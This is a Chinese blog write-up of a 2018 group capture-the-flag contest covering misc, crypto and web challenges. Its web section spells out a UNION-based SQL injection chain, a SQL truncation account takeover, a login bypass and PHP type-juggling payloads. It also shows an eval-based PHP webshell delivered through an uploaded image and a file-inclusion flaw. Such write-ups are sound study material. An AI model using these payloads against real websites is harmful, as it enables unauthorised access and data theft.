SKCTF1 -总结

前言

4-14
小组组内CTF比赛,很多不会的,发现很多问题,打算从做出的和没做出的两方面来总结一下。

GetScore


Msic

山东科技大学

一半在属性信息里,记事本打开最后一行有另一半的BASE64。

阅读理解

一个word文件,查看隐藏文字。

mark

另一半在哪呢?
notepad++打开,发现文件头是PK于是改了后缀.zip,解压后,得到xml文件。
mark

大家来找茬

就是两个文本的比较,网上很容易搜到原文,与给出的文本比较一下,就出来了。
https://tool.lu/diff/
http://www.jq22.com/textDifference

女神的qq号

女神换了一个新的QQ号码,原来的号码和新的号码都是5位靓号哦;其次,新的号码是原来号码的4倍,并且原来的号码倒着写正好是新的号码,请问,新号码是多少,新号码即为key。

编程题,暴力python走起。

#python2
for i in range(0,10):
for j in range(0,10):
for k in range(0,10):
for m in range(0,10):
for n in range(0,10):
last = i*10000+j*1000+k*100+m*10+n
new = i+j*10+k*100+m*1000+n*10000
if new == 4*last :
print new

Manchester

曼彻斯特编码
01 -> 0
10 -> 1
0 -> 01
1 -> 10
曼彻斯特编码解密

#coding: utf-8
'''
曼彻斯特编码+计数
'''
print "曼彻斯特编码\n"
file = open('misc.txt','r')
r = file.read()
file.close()
res = ''
count = 0
for i in xrange(len(r)/2):
c = r[i*2:i*2+2]
count +=1
if c=='01':
res += '1'
elif c=='10':
res += '0'
#print res
print count
f = open('res.txt','w')
f.write(res)
f.close()
print "done"

解出来还是一堆的01,但是很明显很多的00000000连在一起很多的11111111连在一起,怀疑是一张黑白点阵图(280*280)。接下来就是python大法来写脚本,生成图片。

#python 3
from PIL import Image
a = 280
pic = Image.new("RGB",(a,a))
file = open("res.txt",'r')
str = file.read()
file.close()

i=0
for y in range(0,a):
for x in range(0,a):
if(str[i]=='1'):
pic.putpixel([x,y],(0,0,0,))
else:
pic.putpixel([x,y],(255,255,255)) #反过来也可
i += 1
pic.save("flag.png")
print("done")

mark
QRsearch扫描就行。
SKCTF{ManchesterAndRGB}

Crypto

凯撒大帝

一个gif,但是文件头被破坏了,添加标识GIF89a 即可,可以看到密文:
CUMDP{foxs_fsns_fsms}

接下来凯撒解密即可。

message = 'CUMDP{foxs_fsns_fsms}'
LETTERS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
letters = 'abcdefghijklmnopqrstuvwxyz'

for key in range(len(LETTERS)):
tran = ''
for i in message:
if i in LETTERS:
num = LETTERS.find(i)
num = num - key
if num < 0:
num = num + len(LETTERS)
tran = tran + LETTERS[num]
elif i in letters:
num = letters.find(i)
num = num - key
if num < 0:
num = num + len(letters)
tran = tran + letters[num]
else:
tran = tran + i
print('key = %s: %s' % (key, tran))

跨过去啊

栅栏密码

三行情书

U0tDVEZ7     BASE64

626162795f49    16进制

L5WDA5TFL5MTA5L5     BASE32

mix

多次的base16,base32,base64加密:

from base64 import *

result = {
'16':lambda x :b16decode(x),
'32':lambda x :b32decode(x),
'64':lambda x :b64decode(x),
}

flag = open('mix.txt','r')
b = flag.read()
# print b

num = ('16','32','64')

for i in range(20):
for k in num:
try:
b = result[k](b)
if b:
break
else:
continue
except:
pass
print(b)

Web

我还是很爱她

php弱类型
mark
源码有code.txt,如下:

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>

显然,v1,v2用著名的就行
md5(‘240610708’) == md5(‘QNKCDZO’)就行,strcmp函数是
strcmp函数比较字符串的本质是将两个变量转换为ascii,然后进行减法运算,然后根据运算结果来决定返回值。

如果传入给出strcmp()的参数是数字呢?

$array=[1,2,3];
var_dump(strcmp($array,'123')); //null,在某种意义上null也就是相当于false。

于是构造payload:

?v1=240610708&v2=QNKCDZO&v3[]=[1,2,3]

payload2:

?v1[]=a&v2[]=b&v3[]=[1,2,3]

payload2的原理在于,md5不处理数组,比较不相等的时候,两个数组不同.

 <?php 
if(@md5($_GET['a']) == @md5($_GET['b']))
{
echo "yes";
}
?>
//结果:yes

山东科技大学

源码里面就有flag的一半,响应头有另一半。

小组人员期末成绩

有回显的sql报错注入。
id=-1’ union select 1,2,3,4 –+
有回显,四个字段。

id=-1' union select database(),2,3,4 --+ 

得到数据库名 skctf_flag

id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 

得到表名 fl4g,sc

 id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g' --+ 

得到字段skctf_flag

payload
id=-1’ union select 1,2,3,skctf_flag from fl4g #

SKCTF管理平台

sql约束攻击

在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)例如以下语句的查询结果,与使用用户名“vampire”进行查询时的结果是一样的。

SELECT * FROM users WHERE username=’vampire ‘;

但也存在异常情况,最好的例子就是LIKE子句了。注意,对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。

因此,这题其实就很简单了。原来的数据库我们不知道admin的密码,但是,由于给了我们注册的页面,其实没有对空格做过滤,那么我们就可以注册新的账号‘admin ’,密码自定记得住就行。
SQL语句:

INSERT INTO users VALUES('admin','ldl123LDL')

于是该用户将原来的admin覆盖了,于是我们就可以用管理员权限登陆了。

老板结账

mark

刷新一下,页面中的物品价格就又有区别了,但是源码有一定规律,可以通过规律把价格提取出来,作和得到结果,requests提交就行。

bread---5150</br>chicken---3328</br>Salmon---2039</br>halibut---3921</br>trout---4418</br>mackerel---5589</br>lunchmeat---5482</br>beef---4537</br>rice---3096

python脚本如下:

import requests
import re
url = 'http://192.168.211.105:49170/'
s = requests.Session()
source = s.get(url)
html = source.text
expression = re.findall(r'(?<=---)\d*(?=</br>)', html)
#print(expression)
res = 0
for i in expression:
res += int(i)
print(res)
url += '?money='
url += str(res)
print(s.get(url).text)

mark


NotGet


Misc

流量分析

将你获得的明显信息md5加密之后以SKCTF{xxx}的格式提交

这题没做出来很可惜,一直不知道明显的信息是指什么,我找到http的一个GET请求,但是

第四扩展FS

D公司正在调查一起内部数据泄露事件,锁定嫌疑人小明,取证人员从小明手机中获取了一张图片引起了怀疑。这是一道送分题,提示已经在题目里,日常违规审计中频次有时候非常重要。
flag格式:DDCTF{}

下载下来一个图片12.6M,肯定有猫腻!

Linux:
foremost windows.jpg

解压文件(密码在属性->备注)

得到一堆如同乱码似的的字符串,贼tm大。

mark

注意到提示!!!!
词频统计!!

但是一开始思路还是错了,以为是那种类似凯撒解密似的,但事实上不是的,因为看不出什么规律,于是想到分别统计每个字符的次数,发现一些有意思的东西。
mark

这不就是flag吗?

写了个脚本(练习吧):

import operator

with open('file.txt', mode='r', encoding='utf-8') as inFile:
d={} # 创建一个空字典
word='' # 空字符串以便于连接字符
for char in inFile.read():
word += char # 连接字符
if word in d:
d[word]+=1
word='' # 将word置为空,否则,word值无限增大
else:
d.setdefault(word, 1)
word=''

lst = sorted(d.items(),key = lambda x:int(x[1]),reverse = True)
#print(lst)
d = dict(lst)
#print(d)
for key in d.keys():
print(key,end='')
with open('res.txt', mode='w', encoding='utf-8') as outFile:

for word, freq in d.items():
s = '{0}\t{1}\n'.format(word, freq)
outFile.write(s)

mark
但是注意一下,D出现3950 C:1900
所以D应该算成两个,这样 2000-1950-1900-1850…

即flag:
DDCTF{ka1f4NgxIntAi}

Crypto

转啊转啊转

Hint:密钥前1-3个字符为三个转子的排列顺序(用数字表示) 4-6为转子的起始位置,flag大写
密文:EBBBBDDED
(结果加上skctf{}提交)

Web

献上你的壁纸吧

看到file=index.php?file=hello.php,
猜想是文件包含,于是尝试:
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
得到提示:

<!-- upload.php -->
<h1>NAIVE!!!</h1>

upload.php:
mark

很明显,应该是文件上传漏洞,可是FK的是,我就是一直以为上传图片,通过以后,改成php,就能得到flag了(之前做的题留下惯性思维),感觉自己很SB。
由于该题做了过滤和改名,改不成php,直接连是不行的。

其实应该联系前面的包含漏洞!!!!!
上传木马图片以后:
mark

给了路径,可以进行文件包含访问,文件包含访问时,以php形式解析:
回到index.php

index.php?file=upload/201804150852185399.jpg

mark
但是,似乎将给改了,接下来就是尝试绕过这个就OK了。
查到
可以使用PHP标记

<script language="php">
eval($_POST['a']);
</script>

getshell得到flag。

mark

熟悉吗

熟悉==、之前介绍命令执行的时候,就举的这个例子。

比赛时都没注意响应头:
mark

有tips,base64解码后:

$sql="SELECT username,password FROM admin WHERE username=(".$username.")";
if (!empty($row) && $row[\'password\']===md5($password)){}

万用密码:
‘ union select 1,md5(1)# & passwd=1
登陆
原理:
mark
可以看到,其实admin表里没有任何内容,是空表,但是我们依然可以union select得到查询集。

源码中没有对结果做判断,只是做了是否结果是否存在的判断,导致漏洞的产生。

$sql="SELECT username,password FROM admin WHERE username=(".$username.")";
$result=mysql_query($sql);
@$row = mysql_fetch_array($result);
if (!empty($row) && $row['password']===md5($password)){
$_SESSION['login']=1;

接下来是命令执行,但是没有回显,需要反弹shell。


暂时这么多,剩下的需要学习学习才能做得出了。。。


2018-4-18 更新
做出了 第四扩展FS,熟悉吗

文章作者: V0WKeep3r
文章链接: http://v0w.top/2018/04/14/SKCTF1-总结/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 V0W's Blog
支付宝打赏
微信打赏